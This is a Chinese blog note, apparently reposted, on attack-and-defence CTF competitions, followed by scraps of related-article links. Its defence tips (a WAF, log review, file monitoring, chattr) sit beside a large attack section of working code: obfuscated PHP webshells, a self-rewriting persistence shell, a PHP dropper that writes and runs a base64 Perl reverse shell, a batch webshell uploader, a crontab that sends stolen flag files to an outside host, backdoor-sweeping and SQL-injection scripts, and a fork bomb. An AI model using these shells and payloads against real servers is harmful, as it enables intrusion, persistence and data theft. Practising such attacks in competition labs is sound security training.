###0x01 AWD模式

Attack With Defence,简而言之就是你既是一个hacker,又是一个manager。
比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮,各队一般都有自己的初始分数,flag被拿会被拿走flag的队伍均分,主办方会对每个队伍的服务进行check,check不过就扣分,扣除的分值由服务check正常的队伍均分。

###0x02 出题思路

####1:题目类型

1-出题人自己写的cms,为了恶心然后加个so。

2-常见或者不常见的cms。

3-一些框架漏洞,比如ph师傅挖的CI这种

####2:代码类型

目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。

####3:题目漏洞类型

1-sqli居多

2-文件包含

3-各种rce

4-文件上传

####4:出题人思路

为了不让你们这群赛棍把题秒了,我直接放个未公开cms的0day把,算了,要不我自己加点东西。诶,等等,这样是不是有点难了,再放几个比较简单的洞把,直接在index.php或者web根目录下放个shell?

####5:拿flag方式

1-是向内网一台机器发送http请求,返回请求中包含flag。

2-是例如/home目录下放置flag文件。

###0x03 防御技巧

1.分析流量

1
2
#在比赛服务器上抓取流量包
sudo tcpdump -s 0 -w flow.pcap port 80

使用scp写个脚本实时将流量包拷贝到本地用wireshark进行分析

2.分析日志

1).weblogger

2).LogForensics 腾讯实验室

3).北风飘然@金乌网络安全实验室

4).网络ID为piaox的安全从业人员

5).网络ID:SecSky

6).网络ID:鬼魅羊羔

1
2
3
4
# 日志地址
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/

3.打包源码&备份数据库

1
2
3
4
# 打包目录
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz
1
2
3
4
5
6
7
8
9
10
11
12
# 备份指定的多个数据库
mysqldump -u root -p --databases choose test > /tmp/db.sql
# 恢复备份,在mysql终端下执行:
# 命令格式:source FILE_PATH
source ~/db.sql
# 曾经遇到一个备份有问题可以执行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
# 重置mysql密码
# 方法1:用SET PASSWORD命令
mysql> set password for 用户名@localhost = password('新密码');
# 方法2:用mysqladmin
mysqladmin -u用户名 -p旧密码 password 新密码

4.重置ssh密码

1
2
# ssh登录后执行
passwd

5.部署waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
//Code By Safe3
function customError($errno, $errstr, $errfile, $errline)
{
echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){
 
if(is_array($StrFiltValue))
{
$StrFiltValue=implode($StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
//slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
print "360websec notice:Illegal operation!";
exit();
}
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
StopAttack($key,$value,$cookiefilter);
}
if (file_exists('update360.php')) {
echo "请重命名文件update360.php,防止黑客利用<br/>";
die();
}
function slog($logs)
{
$toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
$Ts=fopen($toppath,"a+");
fputs($Ts,$logs."\r\n");
fclose($Ts);
}
?>

使用方法:
(1).将waf.php传到要包含的文件的目录
(2).在页面中加入防护,有两种做法,根据情况二选一即可:
a).在所需要防护的页面加入代码

1
require_once('waf.php');

就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once(‘waf.php’);来调用本代码
常用php系统添加文件

1
2
3
4
5
6
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php

b).在每个文件最前加上代码
在php.ini中找到:

1
2
Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;

需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。

如果不能部署waf我们可以简单的写个apache配置文件来禁止PHP执行

1
2
3
4
5
6
7
8
9
10
<Directory "/var/www/html/">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>
</Directory>

6.干掉不死马的方式

(1).ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了

(2).重启php等web服务

(3).用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。

(4).创建一个和不死马生成的马一样名字的文件夹。

7.修改curl命令

1
2
3
4
5
alias curl='echo fuckoff' #权限要求较低
# 或者
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
chmod -x curl #权限要求较高
/usr/bin curl路径

8.用D盾扫描源代码删除后门文件

1
2
3
4
# 简单的查找后门
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('

9.查找常见备份文件

1
2
# 例如bak文件
find / -name "*.bak"

10.重置web的各种登录密码(如果比赛check认为修改密码算down就不要修改了)

11.将uploads等文件夹使用chattr对文件底层属性进行控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
chattr命令的用法:chattr [ -RVf ] [ -v version ] [ mode ] files…
最关键的是在[mode]部分,[mode]部分是由+-=和[ASacDdIijsTtu]这些字符组合的,这部分是用来控制文件的
属性。
 
+ :在原有参数设定基础上,追加参数。
- :在原有参数设定基础上,移除参数。
= :更新为指定参数设定。
A:文件或目录的 atime (access time)不可被修改(modified), 可以有效预防例如手提电脑磁盘I/O错误的发生。
S:硬盘I/O同步选项,功能类似sync。
a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文件安全,只有root才能设定这个属性。
c:即compresse,设定文件是否经压缩后再存储。读取时需要经过自动解压操作。
d:即no dump,设定文件不能成为dump程序的备份目标。
i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。
j:即journal,设定此参数使得当通过mount参数:data=ordered 或者 data=writeback 挂 载的文件系统,文件在写入时会先被记录(在journal中)。如果filesystem被设定参数为 data=journal,则该参数自动失效。
s:保密性地删除文件或目录,即硬盘空间被全部收回。
u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion。
各参数选项中常用到的是a和i。a选项强制只可添加不可删除,多用于日志系统的安全设定。而i是更为严格的安全设定,只有superuser (root) 或具有CAP_LINUX_IMMUTABLE处理能力(标识)的进程能够施加该选项。
 
应用举例:
 
用chattr命令防止系统中某个关键文件被修改:
# chattr +i /etc/resolv.conf

12.部署文件监控,如果发现新上传文件或者文件被修改立即恢复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
# -*- coding: utf-8 -*-
# @Author: Nearg1e -- 2016-06-30 10:08:35 --0v0--
# v demo 0.21 修改了备份的webshell会自己坑自己的情况
# todo: windows下不支持中文目录
#use: python file_check.py ./
 
import os
import hashlib
import shutil
import ntpath
import time
 
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
 
 
# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
 
Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
 
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
 
 
def isListLike(value):
return isinstance(value, (list, tuple, set))
 
 
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
 
if noneToNull and value is None:
return NULL
 
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
 
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
 
 
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
 
 
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
 
 
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass
 
 
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
 
 
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
 
 
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
 
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())
七、自动提交

0x04 攻击技巧

1.拿到命令执行漏洞后执行crontab

1
2
3
# 参考
# http://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html
*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'

2.注意源码中或者备份文件中是否存在mysql等的弱口令

3.主机发现

1
2
3
4
5
6
# 使用httpscan脚本
./httpscan.py 172.16.0.0/24 –t 10
# masscan
masscan -p 80 172.16.0.0/24
# nmap
nmap –sn 172.16.0.0/24

4.常用的特殊webshell

控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。
简单举例:

1
<?php ($_=@$_GET[2]).@$_($_POST[1])?>

连接方式:php?2=assert密码是1。
献上我常用得一句话

1
2
3
4
5
6
7
8
<?php
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>

配置为?b=))99(rhC(tseuqeR+lave

1
2
3
<?php
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)

5.权限维持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
set_time_limit(0);
ignore_user_abort(true);
 
$file = '.conifg.php';
$shell = "<?php echo system("curl 10.0.0.2"); ?>";
 
while(true){
file_put_contents($file, $shell);
system('chmod 777 .demo.php');
 
usleep(50);
}
?>

tips:.config.php前面使用一个点,能很好的隐藏文件。
想要结束这个进程,除了最暴力的重启apache服务之外,更为优雅的如下:

1
2
3
4
5
6
7
<?php
while (1) {
$pid=1234;
@unlink('.config.php');
exec('kill -9 $pid');
}
?>

先查看进程,查看对应的pid,再执行即可。

素质低的人则会放置一个md5马,比如

1
2
3
4
<?php
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
@eval($_POST['cmd']);
?>

如果素质低的人又很猥琐,像rootrain这种就是。那就是利用header,最后综合起来就是

1
2
3
4
5
6
7
8
<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
$test= 'flag';
header("flag:$test");
}
?>

放进config.php效果最好,因为一般很少人去看这个。

还可以采用反弹shell的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.71.1";
$yourport = '9999';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

之后本地执行nc -lp 9999即可

6.获取flag的方式

(1) 批量传webshell(shell的内容可以写为权限维持部分的那个脚本),之后结合批量访问 参考PHP-定时任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# 参考 http://www.freebuf.com/sectool/91082.html
#!/usr/bin/python
#coding=utf-8
 
import urllib
import urllib2
import sys
import base64
import re
 
def post(url, data):
req = urllib2.Request(url)
data = urllib.urlencode(data)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
response = opener.open(req, data)
return response.read()
 
def get_shell_path(posturl,passwd):
shell_path = ""
try:
data = {}
data[passwd] = '@eval(base64_decode($_POST[z0]));'
data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
shell_path = post(posturl, data).strip()
except Exception:
pass
return shell_path
 
def main():
print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
shellfile = sys.argv[1] # 存放webshell路径和密码的文件
localfile = sys.argv[2] # 本地待上传的文件名
shell_file = open(shellfile,'rb')
local_content = str(open(localfile,'rb').read())
for eachline in shell_file:
posturl = eachline.split(',')[0].strip()
passwd = eachline.split(',')[1].strip()
try:
reg = ".*/([^/]*\.php?)"
match_shell_name = re.search(reg,eachline)
if match_shell_name:
shell_name=match_shell_name.group(1)
shell_path = get_shell_path(posturl,passwd).strip()
target_path = shell_path.split(shell_name)[0]+localfile
target_path_base64 = base64.b64encode(target_path)
target_file_url = eachline.split(shell_name)[0]+localfile
data = {}
data[passwd] = '@eval(base64_decode($_POST[z0]));'
data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
data['z1']=target_path_base64
data['z2']=base64.b64encode(local_content)
response = post(posturl, data)
if response:
print '[+] '+target_file_url+', upload succeed!'
else:
print '[-] '+target_file_url+', upload failed!'
else:
print '[-] '+posturl+', unsupported webshell!'
except Exception,e:
print '[-] '+posturl+', connection failed!'
shell_file.close()
 
if __name__ == '__main__':
main()

(2) 或者直接执行下面的脚本

1
2
3
4
5
6
7
#!/bin/bash
while true
do
flag=$(curl 'http://172.16.4.42:800')
curl --cookie "PHPSESSID=21il7pum6i3781pumljhv578c1; xdgame_username=%E5%B0%8F%E7%BA%A2%E5%B8%BD" --data "key="${flag} "http://172.16.4.42/index.php/wargame/submit"
sleep 1s
done

(3) 有些SQL注入漏洞可以通过sqlmap利用—sql-shell 执行select load_file('/flag')来获取flag。最好直接利用脚本来获得。

1
2
3
4
5
6
7
8
9
def sqli(host):
global sess_admin
data = {"section_name":"asd","admin_name":"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'","announcement":"asd"}
r = sess_admin.post('http://%s/index.php/section/add'%host,data=data)
flags = re.findall(r'~(.+?)~',r.content)
if flags:
return flags[0]
else:
return "error pwn!"

(4) 文件包含漏洞,直接可以通过../../../../../../flag的方式获取

1
2
3
4
5
6
7
def include(host):
r = requests.get(url="http://%s/?t=../../../../../../flag"%host)
flags = re.findall(r'^(.+?)<',r.content)
if flags:
return flags[0]
else:
return "error pwn!"

(5)批量提交flag的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python2
import sys
import json
import urllib
import httplib
server_host = '10.10.0.2'
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
if not team_token or not flag:
raise Exception('team token or flag not found')
conn = httplib.HTTPConnection(host, port, timeout=timeout)
params = urllib.urlencode({
'token': team_token,
'flag': flag,
})
headers = {
"Content-type": "application/x-www-form-urlencoded"
}
conn.request('POST', '/api/submit_flag', params, headers)
response = conn.getresponse()
data = response.read()
return json.loads(data)
 
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: ./submitflag.py $team_token $flag'
sys.exit()
host = server_host
if len(sys.argv) > 3:
host = sys.argv[3]
print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

7.批量修改ssh密码的脚本(猥琐流直接干掉几个对手)

8.如果有发现有预留后门,要立即使用脚本进行获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding=utf-8
import requests
url="http://192.168.71."
url1=""
shell="/Upload/index.php"
passwd="abcde10db05bd4f6a24c94d7edde441d18545"
port="80"
payload = {passwd: 'system(\'cat /flag\');'}
f=open("webshelllist.txt","w")
f1=open("firstround_flag.txt","w")
for i in [51,52,53,11,12,13,21,22,23,31,32,33,41,42,43,71,72,73,81,82,83]:
url1=url+str(i)+":"+port+shell
try:
res=requests.post(url1,payload,timeout=1)
if res.status_code == requests.codes.ok:
print url1+" connect shell sucess,flag is "+res.text
print >>f1,url1+" connect shell sucess,flag is "+res.text
print >>f,url1+","+passwd
else:
print "shell 404"
except:
print url1+" connect shell fail"
 
f.close()
f1.close()

9.自写敏感功能。主办方可能已经把CMS本身的漏洞补全了,并自写了一些敏感功能,如上传、包含界面..,这时候需要自己手动去发现(利用seay代码审计工具可快速定位、ls -t按修改时间来看最新被修改的文件),分析,删除,利用。

10.fork炸弹

1
2
# 参考: https://linux.cn/article-5685-1-rss.html
:(){:|:&};:

0x05 参考

转载自:http://zeroyu.xyz/2018/05/24/ctf-awd-note/

CTF AWD模式攻防Note的更多相关文章

  1. CTF线下赛AWD模式下的生存技巧

    作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...

  2. AWD模式搅屎模式

    AWD模式搅屎模式 ###0x01 出题思路 ####1:题目类型 1-出题人自己写的cms,为了恶心然后加个so. 2-常见或者不常见的cms. 3-一些框架漏洞,比如ph师傅挖的CI这种 #### ...

  3. CTF线下攻防赛

    SSH登陆 两三个人进行分工,一个粗略的看下web,有登陆口的话,就需要修改密码,将情况反馈给队友,让登陆ssh的小伙伴进行密码的修改,改成炒鸡复杂.然后将Web目录下载下来,上WAF.文件监控.端口 ...

  4. CTF线下赛AWD套路小结

    近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...

  5. AWD攻防工具脚本汇总(一)

    最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本 以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~ 这里从各种情景和需求中去总结工具和脚本的使用   情 ...

  6. ctf网址,工具 汇总 组会

    @双系统装kali,专门渗透的,ubantu要自己下工具,但是娱乐性比较好 @做题 i春秋 https://www.ichunqiu.com/battalion @网站 xctf近期赛事https:/ ...

  7. 云服务器AWD平台搭建

    开学后实验室来了几个新同学,在线上CTF方面大家一直在持续学习,但AWD模式的CTF我们练习并不多,所以准备搭建一个AWD平台用于实验室成员的线下赛攻防练习. 最开始的是防灾科技大学的线下AWD靶场: ...

  8. [DEFCON全球黑客大会] CTF(Capture The Flag)

    copy : https://baike.baidu.com/item/ctf/9548546?fr=aladdin CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的 ...

  9. [CTF]Capture The Flag -- 夺旗赛

    CTF(Capture The Flag) 简单介绍 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式. `In co ...

随机推荐

  1. 第207天:HTTP协议头字段详解大全

    本篇重点介绍一下HTTP常用的Header HTTP Header非常之多,很少有人能完全分清这些Header到底是干什么的.鉴于RFC文件规范艰深晦涩难懂,本文对协议规范中列出的HTTP Heade ...

  2. 【Quartz.Net】.net 下使用Quartz.Net

    Quartz.net是作业调度框架 1. 项目中添加quartz.net的引用(这里使用nuget管理) 新建一个类TimingJob,该类主要用于实现任务逻辑   using Quartz; usi ...

  3. CF464C-Substitutes in Number

    题意 开始给出一个长为\(n\)的数字串,有\(m\)次操作按顺序执行,每次把当前数字串中的某一个数码替换成一个数字串\(t\)(可以为空或多位),最后问操作结束后的数字串十进制下模\(10^9+7\ ...

  4. 解决Maven下载依赖慢

    微服务spring boot,在使用maven下载依赖的时候非常慢,几十K的依赖JAR,也需要漫长的等待,更悲剧呢的漫长等待结果提示下载失败,为彻底解决这个问题,决定使用国内的镜像库,想象总是美好的, ...

  5. 【NOI2006】聪明的导游

    [NOI2006]聪明的导游 题面 洛谷 题目描述 小佳最近迷上了导游这个工作,一天到晚想着带游客参观各处的景点.正好 M 市在举行 NOI,来参观的人特别的多.不少朋友给小佳介绍了需要导游的人. M ...

  6. 【BZOJ5248】【九省联考2018】一双木棋(搜索,哈希)

